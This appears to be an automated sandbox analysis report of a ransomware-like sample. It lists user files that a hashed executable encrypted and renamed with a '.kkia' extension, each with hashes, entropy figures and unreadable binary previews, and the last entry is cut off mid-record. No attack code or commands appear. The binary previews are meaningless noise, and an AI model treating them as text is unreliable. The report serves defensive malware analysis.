SSDEEP:	1536:Ft9mSvpBgkElEsCJPFh97Sy7oM6IFZobJ8WuZrEOuyswgUGe:P4SPgzlErJPFh4CMIFZobJJupEJyTbGe
MD5:	6DDD6AC5F6FBBFE11023C93B4A6CF735
SHA1:	1F95351FC834800F7E73417215D930B214729DD4
SHA-256:	D5A93D0993EB34DD9BE7AD0D03FEF784804E5F9395C8FA102EAEE47C29090028
SHA-512:	C75AE951C6636BFE9715234FE217517D04BE1290E45CD39EED80054EDE5735BADE4F5873BBE53F25D739084D87D2B43E5090CBF010F5A00F1D0B0279ED653029
Malicious:	true
Preview:	4.397.x..R......l4.E.I...."T...H.L{.......7..t.!.W.q./.V.9.$.}...Go..f7..6......d1.!.......z... ....j...4.4.2!;".e0.l."...\|@c..D...6o.D...R..4$..m.%g2........".c7....i.I<#..Y........5.....mCBo.......U.e.....eS..^.p....6G4....e.z.r.._....qq.m.\|m.,p..j(h.-/.`.:..;70KR!.. M..;.Y....K....W......4).up.......`.q....%XQ...K........L"k..B.e..a:'A.E.M:L.mc8...e....{...P.&Mv.v/.K%xN.0W.t.G..1<#..R...r.6.U!UcM8.G`......^Vx....2.).@..lg.....WC.j"=1....v..>lW~...l....L..G..H.FW".p8........%....`^R.8.......p..l.2=....h.6[m.......7.k..dj:C.....14.......[..C...V.d.X6.!..m...e..^.A.\|h.....ae@..<>E;..K..(....<.>..I.Q..M...;..:CPi;.:..5.S....#p....X...P.F...".....Nd/....8>....hF.~..4!.ef+..j>.t....N.mF..G....... p..dk..C__.'.b<.k.aw.-.4.r..4...2(....q)...[-...$.*..X._....;.r..]......,..z..........z..O......H.<...nF..bSS..7a..$p).6!r...........x ..X.)G-..x"..t."yN..e.Oe....we...@..>h\|.f....Kb1.'.y..{;.E.G..Kr...Bk..ky.DGpi../wA....([[..!......d/.;.

C:\Users\user\Local Settings\Adobe\Color\ACECache11.lst.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.7618110454952
Encrypted:	false
SSDEEP:	12:rYOEkTn+EvowhyPsuXCFePMt4zUucU7ZbwSDoLibHVon6xGSFks5zWNtIaW7o5JO:r8Evow07QzaQqwSyibH2WGrEkVpkbD
MD5:	9E7FBAE8D22DF1B9AF8A893F646E68AD
SHA1:	105CBA0C9AF9178339924D7117C1204981FE9265
SHA-256:	88F912D0EF96EFD2C9D1A1982058C5FAA55AEF5196ABB0E18EF57C31E8AF135D
SHA-512:	7223022E08B37695CD8E73EAFC3E6458F112F3412A190E5126DABF4622E24F890AD84ABEDF8370BBC9A9A1BDD617B326610AF69992939D84E82A1AECA84C2B92
Malicious:	false
Preview:	CPSA."....wG.~H.o...T......z.rD...Z.../x.~..{..#2.[=h{....2.....N.]..!8...?.I...,.2....m M.3\...r...Fg&.$....AL....5.(..$wj.{.2..j..2...j{,...Z..r..ci.TFdf%..h).$,.1.(....u..V.cy`...........?O.....^=.....j.....IP.u..kN....,V.t...&..(.n..g3.@+.K......K.2....@s.Io.&k...M5.\|.#.W.B..i....+x..{..........yv~D>..k.2.<...e...F#...d..S$..>.....w.L....z..[..?\B..."...%...B...q......_.#..U.7l..F.7p..&.VdY..u.r.A....^\..y.w....pj.. ._0..O...c.....zQ.M5.1..z.%.`d.$3@\|^....M....=aW..>._D..k.E.U.>.S-..\|.....3-..R....!..l...xd .`......A..5..5yb.9...[.N.../.!.@`...{W..C. ....O=P....$....8...(}..?G.Be..~.y)...c<.=............z[.Zp..6..Bk...b?../.s.^...2<.".......X...`<}_ h.T..B):..u..... K..pM.Xm!....%U]...)..i....5a...E. ....).....U.u..C`-.p.3Y../..1<C.Z..uWYp.TS....<...9.?8..f.d......DHH~......q.c..NI...gO..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jcp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.983069721671222
Encrypted:	false
SSDEEP:	192:8ON/Hv825+16HzINmoMdK6/9iCqToQInoguXHSsIwHRu7JdG:8ON/Hvxg62Md19iCiXunFsFHk9I
MD5:	10E94DC9DFBE79006377D483EF7338E9
SHA1:	67266DDA1D27837BA3DD3991B0CD57D299EDCAB0
SHA-256:	D54222748BA38BA272353B8D550BD860A97193455EC3DB72B7D1578663E53697
SHA-512:	6E929D86AC396D52B637A2BA9130D340CC21B01233BE5FA138B8A825D288E72CE4DD2879EDE711F4912EB214B5260ABBAB9556665641FB9E19C8755D4D381AD2
Malicious:	false
Preview:	...s..9..!/..C&oKm.~.........vx+......... ..vZk..<.K.. ...........X.cf..0..'&h...q.z.......r$e..GN^(.h..1.....cL7......prA..p....MW."..w@Y.Cjz5.V.[.......ovC.<.%P.....<,.E\|..N!.u...8.......k.....#...N/.2.%h~....^..u.].......z!..\|..L.E.b....}.Q.e.Y.W....k....-...}a...r.....O.I..w."..L.N..^~K#x.A......2..).+K_-.....@x.../E(..r....?..3 ./$w}..^w!..L..e.H.j.......>~.Z.u.\|....@..M2...!.r.B..J...5..\@G'9...JG.F.S.}{y.}lM.s.8....K.../u..@..A#.....H.....hl.t/(.......^.1I\..-.l...N.H.<....X.x.../B......^c.\|..q.S.'O\|....E....8..C+....t....[..i..$.F...GO1.{.edC..a...(Es.`0.`....w....1..F.9...{...Fi.v".i%sE..N..@G........y....i.).....].\|.}."jn)..&4....I....M.\....wr..N.^..^.....D41.m...q,?N..0....'9y..:.MMNd!..`.........`Y.$7.w.'%......&..e..^....z....4g..u3/.r}.R..V.F..Eh.v .42..H......YZ...<.+.K...?_x..K.B.g>....Y..dE..h}?...f..A.......0....J(..u...F.....;.~.%....M....../.\..Y.....v.2..@.f.t..G4...y...B..9...L .../G..(.w../2.

C:\Users\user\Local Settings\Comms\UnistoreDB\USS.jtx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7339146464918793
Encrypted:	false
SSDEEP:	6144:slk5XRVSlxNuz3J6luAgPJRg3igK3qGDoR1O4RVXtLFdZs5Jdqh+AJ3TGXZAcbBU:slAmWxfjSRG0F
MD5:	3CCC77CA46BDDC6BE4CBEC513F667FE1
SHA1:	110DF7B45BD3050FC082902E6ADFFF55FC7DAC0A
SHA-256:	A5C5CB1786DE9928B4D3DAEA250A0C357AAA007DA3353FE9FD866AF461CB2DD7
SHA-512:	36D082DCD2ABDC88572030AF07C2D0C2A82F0748A5D3F9E92C4E9D420A31A69120E4DF1D3DCC34FF4D1B6AA1E43BAA76C55AAFAB38F25D1DFDC3EBC90E502A56
Malicious:	false
Preview:	.8.e...F.7.,..g<.!.@.$....R2.......... ........H......^8.JU.....{T.Z..1..j..}A.Z......#e..#}...z.v.="....<fXI'..F(.......5.[2...LEH..{..........nv:_V,....N...5..Q).I.v.w&...?.:e..\|N.\.Y..d.........>4...IX.h.Q.....?.Uu.f.....G.v....`.Lv.k..c1eV..@...E....2.gK)....0Q.X8.t.........).I.....v.,.......5..\|..Xz]..m...d9..R..\|.....`v.l_.!/4..Zm.XmH...]......F=8X...".v..k...^h.....Y......R.B...(..............s..8..C.?.u.....\/F..oQd...vTGy{.E..N...M...I..Oc.H....C"...:.E!.7..3..u.%.}...^..(J...A..\.V.1-...N.0,..gZ.W.0s.3.)".a..!i.X....j.wH..Y.`.">.(..Hb.v.V0.......4BH..x..f...d..H..^V&6....@z..w.....t..E.1.nr=..4..bh...L...MX.!(.6.(3.C..q)..Km......l..N_.Ka.O;....!./.f.x.-......./x...F5..'.eH&.dx'th......]&~...q.%...9.4...O...c;.2+.._..;W5v..5\..8.C.u....\|....5U...n_4....A@a(,.....5....Z;e...]Wx.{w.E..U7Q..V.A..3 ....M.!..sEz........{..1..[....Wl.:..]...,T.M^T.z...x\^~t........1.A...u....=LM..)..3......%...j....8.......QA4$.J$.........7r....

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705673362726964
Encrypted:	false
SSDEEP:	6144:29qrJp+TXKqNeYvjxMehItXF2di//Yuh+x:2+pgXJEA+f2di3Hhg
MD5:	9B5A4B7375E3097D11F6AC512B8B88FC
SHA1:	4D9F426DA5C01218BA64E2316736692CD8841325
SHA-256:	9F1982F9B8AA3D85311BABBDA5AEA8B8B5A768AEBADE0E6CD6D4C38561474FA2
SHA-512:	13333F52E2C6018C83DB97CDB0F6373A4B1601C7EDE8064E56D8D146FBE4738517D36F99EB4638D11B499BA4BD520D6EB5ADB16358345AE54666D2F41BC6331B
Malicious:	false
Preview:	.........~....y.G.i.....$....v(_.wh..kU..T.@P.n....&.10# ..R..9V.....qn0..?=M..D.B1..\|.....o!B.x.!k..W.....n....2a#l......1.p.u.J.d...U......@}...Xw#....z.]z..H....[.L.r..s....%V?.G....e .1..C....).rCe..a.m0..54.O..8....w..wuAX.R..9.Ryr..)....X...O.y...Z^'j._0.....IM..B[.S{._.$;.I..A.N..q}9P9.....Ka.1ID.i.`....!...9.U.s.=z.......g.}]8.........i....:.....l.....;.7..=.UU....E.._;.F.n.....x..V.Tzs.R.......%K.=~....3...NA...... z1W.P........9.......@.....s.......>..Dn...k`..Y....9.%BHW..V....i.KmFi..9].I?t3.7...n.n.........k>....1..i4c[u........vRf...=a4..H..!."..E...!)c...6.....a.h.b...!.\U...C6.4H.e.5W..,fs.......v..+.K..#..H....?&...n$..s..;E.M.....h.T...HZ.2L...P.i.k3.E#.MG..D..l....C_,o^u.....^.?d-.:~..}\|......h....6`..V....m54....m..{.i...N.]......#...(/.. I.....\|2w.SMY_3...!}.u..=.....?=.D.]...fq.........S.U..~n.......T...&w.^i....e.....%-...km...7.1......a....2{zq.i..&.M....?cS.`.an{..RB.L2.......b..0].@Xurl..`..(......

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705573728060839
Encrypted:	false
SSDEEP:	3072:BlWedvGTNGjGCY5RiTV7zUs/3cCTONmDb2CPfZGxniNB2V5yqj0pIxayB:BXdOuzY5gzUs/3cCP1PfZGxiNK5rB
MD5:	02D1B36535B90A9C25A52A1812AD6559
SHA1:	9FFB88D9D4214E971A26E6F1578D644FC2CE84C6
SHA-256:	F7CB2CDB53F7E9F2F8D33E73BA1BBE3ED88766AEA483FD66ABEC6B04CE6C01B8
SHA-512:	D2B3D43C7881964D4D5621AABF53F60A938B0174C67B47CFB13CBC3A2940C2A5CC79D9020530F0A013E06F1BD78C8D1F829BC55B63E7FB74A56377A71E2F0B70
Malicious:	false
Preview:	............\'...I..Lz.}.K...<.-K.qiD....FU.GDL..).}.9..Uk.md..,.[.X.C.[...+.K.uD.....N...J.2y...O..)x..v.....z..XT..5...?.aE.M.U......c.E.^`..l[.......s..$..I6..`..a.H..[..f.V..{..x.'3{.E..z..[...p.X..7g....4..;..xfEXa..AU.a...(..uJ.v.B....h.[..I...V..%.u..'.'..(..M.I..V5.<.......W4f.F'.U.....e..I.5....C......^+.:..(1dOX....K......c..c%.O.?.jq..8<RF.....Q\..eE$.....`3.N..X.8.b.O..\.F...q.H.i..7.3.j....onX#vIy.,1.[(k.P. ....Rj-.x......5.G.j.l.........H....sG.V..:...X.`.....,.g...:..qA.....o...x....&_pa.p....y&.My5........E..>Us......_..D."...!o..".._.....\.......".......O.R....2..r.xG..Y...x.%.../J..@..n...]9..(.u.1.i\|p...U/.../.....i.{.bM.....KCT...B...z.h.CI_..".6ka..*R..H...b....#..T.2...gn..>........-...Z..A;..........@...........8....a.V<..U....[.6.k.#...K.U....J..A....%.....3....4.M..../q+&.\|.t...S.H.1N..s3...J.}...LU..(..$.3.....2......P...LY....fWM...RU....v......,...s....bJW...J9.....B..Q..:u.:.%.y.R...6.<..h...jz..b..n..b.c....

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.670531027852886
Encrypted:	false
SSDEEP:	6144:qM20CRcz7qZwkVyb1GElVGhmrkXMGe5rU:qSP0tybP8NH
MD5:	55EA25912A04E7BD6BC605B1D3B20FD0
SHA1:	F3F5668511DEFAECBB9B54D781E02917E2E556C7
SHA-256:	4D20F5930CC8C274EDF1CD1CF019F1545D9FD90B4A8FB24CC68BF092189ED2E3
SHA-512:	36A32B66882B1E189F325342B8A48EBFEABBA130DD37C679051088751984861AFC59F6890BDED9D5145E527DAA1F91F6B7335006E9671D0C040FA3DBA34F634E
Malicious:	false
Preview:	.....^.....;>G.M...p.F3..r....O....LDI^mh..=.b....3.&.....]I.N0..gh.u.....+..D.?....!..i..Zm.z ...0.@E.Y.`UK..JYtro.y..G(Es.&4._L...:._C....QO.X.@.ys...X..O...}4y..T...[....r...%.Q..SZ;..)...c....O.w?_.~,.a..(.$~LOo....l..U.l.X.c..C1..X.+...}....S.io.Y.:.Q\...-......[.s...u..L.T....x...F...}y...Mm....D..o."SV. ?..DBI......._o./......._.Wh{..L....A..aS..4..e...R..19WVpM....)....Ow).:.w.....U.[.OY......V.sh=.Y......".Q.6kZ...Vn.B....V\.z?.Gt..:.u'.65h..n..q.c.G}.E.WUxN..fp..V.>_.....M.......6...(.....9.WKH...X...(.&.h..Z...S.....d.m.8.$.J.2<y.....l.....?....4.I/K...a.b~./(.S.4..4.@.5.,)...D..{mh.\|50.T...G...c.w[...%....=CX.?-.....x..&.[..-^^57H.a...}..X\|"......8.6!-.%...!.u....#}Ol..r...v...f...JH..D......u......%....<K.G..4.vr....N......h..........9......."[.^..'$H..:...Hv.I.h..%....mA..Wm.3.k...f$....%..T.p.{..b..D..?...L.......f.5...N9......7..Os.h.y.h...Nd.Y..3.3.....u...U\..n.......'..F..../K..BJ...!.H...).:....gN.uY......*.#p

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987361720560306
Encrypted:	false
SSDEEP:	384:shKPunXYrZa75fLyIz5Gx/kq2oNDQSaty7gLpUI:sKGnXRLyItGRkq2ojaty7Wp1
MD5:	E3F3C43CE5F7C718411181D507475F5C
SHA1:	46EB0ED72C5EB4CB53933D90537C192285CABB94
SHA-256:	AD84930EC88C75FC881C823DE1027A37E2969F29653530592C931CCD2058223E
SHA-512:	6CB794940FF57D7D969C6F98194FB169178910CAF3CD617B34E8F5E7AAF983C29D6E03EA2DE3121EB24926F426966C4BADB3ADACA375C5D6476B94813CC60208
Malicious:	false
Preview:	=.w.....%.G...M.........m....nhr...9]..5=...u...2/.3....q...............(".5......nT;.1.....n.KX./.bG........A..J.'Z._.>-.. 6oWAc.....t...V..^T.c...6.>{?..c.A\!...p..=.Sn..,..e.g..v....E<.)...6...^X.R.i..&..&.>.$..G!.2#.t..j.(O..u.a.!.....".f@......,..Q-....,t/.L...k.........y.ihS.....1......hQy..x..!G.{.8Z'^....l..S.........{...4..kV....L..z..S.21...6.....V.y..5....<f...z..-a........O..'.mE....f.VS_.i....W..t.e..Y.OGcP.1@......W".q]x..Q....7..L>.lYh.N!....5.5._.QXvM:wj.......YK...)...?....Y.....L.~{...\|i..W..F5.R.....\.......s.P.E`.4.WGdM\|...G2.......c..p..$...........1.fC.....\|.`.y.. I......:..fE......2U^..$..EFx...0.v........a!E..jV\|.....lx.x........g{C]....._.....'...$....._8}.~......G,.=.+n.":Y..iG8*.l..JR..5\/.9-....s.+........3y.N{u....0s....=.C...?..J.)...Q..z..(..q.K.X..D.......?.K.........`..&..B........xK....I..t>...\|.6C....E~.A.....f..V.Lm.......l)y..G.3..........a.........4L.d.t..W.-... C!.F....U3.9.t.A....O.i?Q

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7570546860497933
Encrypted:	false
SSDEEP:	6144:MOQqW/FWGX6xLw5xVQUptIoa+d+gOrOuWxWk3m+umHaCfYjUfSUXYVOw5eihHUXs:M7V6xLO3QUptjRTb0P
MD5:	5A8DD1F81420F51DF11CB366D72DD25C
SHA1:	12404CEF51374A250272565B992BD3BE654CDB77
SHA-256:	1A5C5FBD9A742F57C7DD3D4E9DB2D21C1C75F6F7FF9D54190576199C74066171
SHA-512:	1ECCDE49CD5BA6E9CCB584AEAFCCB2E2F9E989353721FAA5F62F3C5D4322809C6257ACE58ACD83A5D482A1E12566BEC7005DA52DD795BC678C8EBEA9BB0F39F3
Malicious:	false
Preview:	7.n..66F..=<cw...H@^B..K.$....\|.p.SxyIs.<.`..f.m,Np......Z.... ..i...I.V..c.h. .n..(L...c..u.te...g.j..".,....'$+.K1F...)..C..p.b..Z.gxS.U.i.7.^..tFrl.;..Br`\R...u,V]3..9..[.r......fE....w.D+.p...q..BT.\.Lz.7...8J.]k...U...=...(.eW.... ...R+..E......H.5.\.#...}..T.K.n..0...j.c.w..HYMSg.S..x..nA.f.G..j..Z.9.K..A..r$H.E..3.;X.c%QE.C..3R...&Ch..}...5.../r.`..S......K$.v.=......e..r.}R?\..V..{....ip@......hT..3.'.sc..../..}qQE..,....[.^`..aH.u.'Z0...r..<.....P.o.5..6.....aF#..j.W.a..b.{....>...Ak...k...)......%[.-.Y`..E..W....=.\...~.,m.k......oD.........f..h...l.....&36..(,...N..l.(..:....w8...b_.'...(3e...:%.R...zU)......y..J9.`.'q. .!.e..<.........h..F.J...<:...f02.ih<R.IT.b.s...om.s.q.L...b...F.....b.:p...[.jC=^...#..cN.i....i.7.1i..Sh+...V..l.&..P..-.D.F7%.....C.g..}_.v...r.E.'...4V.....l."..".K..U5E..Q]R....w..L....'...F$.D.R...O..........,..{jlp..j..yK>....3/.J.4.*Q.C%.p&5.i..#s.......)...:.=.......6..db2..,......

C:\Users\user\Local Settings\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5195
Entropy (8bit):	7.962632048520534
Encrypted:	false
SSDEEP:	96:Nux2lLdAVEKUgD33Y51M/gkmTbtyg+pWpMitMmpCg7NgxezHay2yq8Sb/R7I6P:tdU6MIapWp9Wmp/BgxiYGSbpb
MD5:	FBE1BBF04DE9B52E48D764A3A864257A
SHA1:	7AD655BB48EB0FB527FA01E7C78CA82FC4E32132
SHA-256:	5F747865D07A45C4DEC3F3A217288E58444C6CA5066E5B2A9E6CD12ED2A6EE78
SHA-512:	22A1336F32BF64D9799D3D3ED940B62E6D192C2FBD8CA0F10A8DF1AB5AC6D85E05465A9763506772C6F879E73C184479FA479EC93958EE23FA3FA7B9B7250400
Malicious:	false
Preview:	.{........ovS.b.:H.?M... .....`S.).X.F;..._.UX..0...{...Y..h..:...um.......#)o.Y..GBS,..P..=..'Ot..3.\|(....?7..NY.k....vF)......v....L..}ry%y$.=.;..O[.....k....D..o."H...7...B..(..)..7..$S...@Q.....u....D.6....?y..4..N."...8N.^.V.(.8;.t.f.+..1......EqC..3..8.....L.Wq"...'.>..KK.._...e.<...M.}(...q&.To.D....H....R...a!uM..]CY.9.y...........j7...~.Q.I8...Q.}...z`.F....\|.7.4.3..x\|.........1ps..0&-A.K[.~.t...F.3....e.&..p..E.V....b....9.G0....".J.X.W.n.AM.U.Z..........).T9<z.y..B.B-nP#..V..",..cR ..B..U.........gN.i/.D..4..-.?/.v.N.j.V..".S...R.....YUx(u...OE..xm.K..3_..%..xe....r.."b.&..G. ....K.pm;..L3...\|\|..GA.9...'...3.^[Y.m.7..s..o}c.....+..=...._tH0Kb.5...yi.q..a..o..!.i....bA.Ym...7Wp..0D...9g!......4...........E.Y.M..J.P.[Bb..2Y..h.Oyv...}.>...........w..ch..g.....6 .cx.n....-..r.f....n.....@9..F.4\.!.A.n....uY^#.v......t..`.u.o..DtZ..G^x-....$.d..B..@..q.)....4`.nu......(......:...`.`.&.t.gB>...j...g_.......sE.Ry^.,[.

C:\Users\user\Local Settings\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.778206066984681
Encrypted:	false
SSDEEP:	24:zsLMOnORG437dJ0KaX0pJ/zdOTkjQv/kx61NkbD:wMOnCJRnYT9HF1cD
MD5:	DFC6F43FA14219D42B1716936DE1AF8C
SHA1:	DE23D5508414B6D5C5517DC2D64FCC17EC243E92
SHA-256:	68BA47CFC2409D063B6E3E317E1A6BCD5E69E622296B6CE0BFD8D0C38DB4042B
SHA-512:	23EA153CFC8E3630B8861BA96014A743E7E096F93BB889E62ED2E04A5E73AC9C209033A332DDB0EBB71E0A8F3AAA1B3410B6668C3F1F406A6C9725875FD55AAE
Malicious:	false
Preview:	....C).I.}.".`........Y..\..x.XK.=...Z..,.d.yS.0..m5\dU..n.[..}..f2...{g.g..L"....k.>.<6....Q..k.g.......G.Z.X....d!..c.A...k,.\|..3B..lD\|c.?f..F.d.%.L..e.U.^..IW.....l(.:.._..Z......w.!8.4g......(O_.......<o^.2..^x./.d...........\#-{.Rx=...k..vPH....~$.2.zY..x..4..mU.#f.[...hH`^..S..52..S`~..H.zyd.j...R..bj,g..u%.4...+..pi.fLV...\|.........eztB.\|..Svv..vf.h(V...t...c..Mv.+.....:}.Q....2F.j..&.Z.cS....Fl?w5....$..........P..8;.:a.....D.....r....\|..FE.].$.o........_\|M......nz.o.p.aF.cv.s$&.......p&.C.h..C)l!..ENnCX.1`DAz.i=.<....&.a.K.V.d}...p...",....)......=l!.$v.u..:.<...<k...S..qU`D...:.i).S.%.._.!.....yy...k@..05.L..{..k...S...\|...,....]K...M...J...S5.;.O..'1....w.WX.BD\|.d.z..y..i.U^.2.+8...Jz.G..P.2.....cVx....h.0..L<..$..wj...'....,..q........l...N'q....\.S...XM...l.h.,.'.c.%.o'...\|..>.Y.WI..E.'A...'..Jbx.WH..s$..A.CQ..1.=..#7q.~....Q.r.]....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	7.8320005401987975
Encrypted:	false
SSDEEP:	24:Qtopic/TZRWXqckF6HCfGrQLv4xFKa37wUGftA09j+p7Jzhm+5kbD:QttcbZR68Rv44aRG1DGthm+gD
MD5:	FA0DE3B3F10328B197AAB585201A074C
SHA1:	7003E86E134B5819375A25636AA1712E5F75110C
SHA-256:	36D7E3609D8945184CF7E2A6009953A5765BEA76E89D25EDA94700E86A861610
SHA-512:	778B94F759EAAFE3DE903AB38C554322AFA98776DA4204C07C1D73ABDD59F3A6B4EBFABB7EF0029278F901535CEE9CF63258E8A6179795E5F5437F661F17C69A
Malicious:	false
Preview:	.{..qw.'.a.$...5.U......t.......G.HeH.........P.p#.r.X...+....,h....9~t..[<.V..@.n.d.............>.F..6...k....v...s.s.eD..z_...P.4..J..o#.Ni...[,17X.6....f.~.]!.......`..R....,>@.4.......yEB...d.t...&Rl..pV...B.v.~;. .;..1..\...'~.I.k=..s..%.<.8...'P.'1...~.....q [Q.f.&.........m..bF..%...D......s.\|B..t`..-B.~.w.Z..$V..F._..iO.t....!b.......s.V.a...1AHXG..IN......... ..t.b..S5..p.>...9......S......Ge....G.~....3[........J..a.....x.'d..2...Q:.......t7~.a..,X......1Qu..Z...U.Px.s9C.A.G&fH....kDYr.....`.8.k.0....8.$2..%....../.'^n.sPz......z....2T.?.Xc"....@..z........P...\|..m@.{[.,....R.'J..Y.-p.d....v...... !2.7I8...._...A.<....".I..fS..q.#MB...r.....@6..F.t.d...{L.{.Hv..:.*.......2.,.2.s...o.>Q..s..'c...Hr....!.Q.1.....n..$._......w.....rgD.pU....\|..#........i..A.D"..p'...H.).G......=...Q.#...I.R..3{..,.qC......:.. .y..B>.{...k..z.....lSE.._`...........9..e.x....{.ujY....9&.."............$.s.......G.#...n,..\f.B[Y.k.pW..RH......>...\|.jJ-....

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdpresource.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.308589327071834
Encrypted:	false
SSDEEP:	12:uViBpDkIMILm+bYMQGibYSyMnoe3IPrgcii9a:xpgTILm+bTaqMnx3+kbD
MD5:	3A04D5AE4C0790A03EFB8CC580038B9C
SHA1:	0E433922FEC9C78011E05DF684E2F9374D6A0F62
SHA-256:	704D4DCED3D4B27A70A7F2519CA40F48450E9637FF5023E41AE4D9540E1A8D7E
SHA-512:	BE6545C3C2815660D2EB10D0AF1B6BD0E46BE7B27F2CCF4DDD2630094EB81041E1BE3BAD825651FB579ED995B5B665502C6ADBE3B667C2978546EA7816301A98
Malicious:	false
Preview:	.{.a>M.Gc'....M.......A6.C..:e......,.\|.o$.@/..Q....Kz..........l..KzK....?..A!..-.XX.........F..@._&.>.v~..~.n...}..2:.@..,J.../..s...@n...z......>fO\|.Y~Y.1.C.!~U=.6~U0....8....q..Y.....@.}A./..zG..g.E.7.a.lV..w......]......#.L...u...OH-.. .n.k..i...).W.e..........Z@.l2$...f......4..J.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65886
Entropy (8bit):	7.996641826444598
Encrypted:	true
SSDEEP:	1536:IWgEkXivipFH3AlIpHlfWo+OzI/nQ8BjeLjGhJE:INEeIWN5RhzyQ8BjeL6vE
MD5:	A0CDF650982EBB6FFA84289CDDDF0C76
SHA1:	F042389EA111612D65BED5F62AEC7F043A6B17B2
SHA-256:	A96D7116933BC2B92A79D2C7752BF8C3D77CD33FE9B8EC94EC03DC7A0722311C
SHA-512:	98FFA7D40337AA592FD9F185EAC6D4A9BC06F57A9520CF9EA04E7CAC03EDDF3AAC1E2B3CE0A9C31EE17EAA08E05C07D8863364305BD301F1291C02D2B62D0F45
Malicious:	true
Preview:	...S...0~.q.<..1.......g.(.cU..J.. 2@.U.CT.2.......U.M.r..w...i.............D.k..:g.\.M).$LM.uT.....).....S...."...V.R$0.c..h.3K...S.I...4....f...H6.F.V-.hLn..7.I~..h.O.....T.X{...H...WN.I.(Z.r(w.....6TC9q..uH.W,2...d...i.-x[.==u.....+....s..D....Fat}r+.re.4.^._...tR.f.u;!O-RB.y.......6......8hq.V...G.....2.`..UE.r.]f]....>..fL.Z\|..siz/..M.nz\..s.........c.cR.......D.s..1.T.;.E4M.....w\|.>....X..q\|.I.p...`..=.:.S.._'Z......O..]...=..h.?s}Et.5[F0z.K..+./F.!A]...]......XE4.....t.v.o'..n0.Xu.8>...Y!..b..Q..........Zy-.5..=..G..bN.#...cW.&.Q.u.."..../..P ..\|...KBA....$..C....g.....e..b.v......0}c`.F...w.M@.j.Z..g...u}i.ls...[..f.K\|...}t.#.o..J^.o..(.n...w@..a-..d.C.gH.....}[e.P.q.k.3..S....A_@.r.@R..Ch{.#...ZdGI..9mQ.........vw+H...y+..B.+..t....\|E...O....[t..H......%...$_...\..".vey.P..aU7.F.,...u..#N...+.o..b....;R.'....SJh...qQJG4...4.3.R.q4.E.......yU+.u.Y..^$.?l<6....V%.~.=Yz)B..u.........=q'\|.y.h>.4S.TO...=_h...W...K]......Nx....K{rj~..a

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.3038870731908676
Encrypted:	false
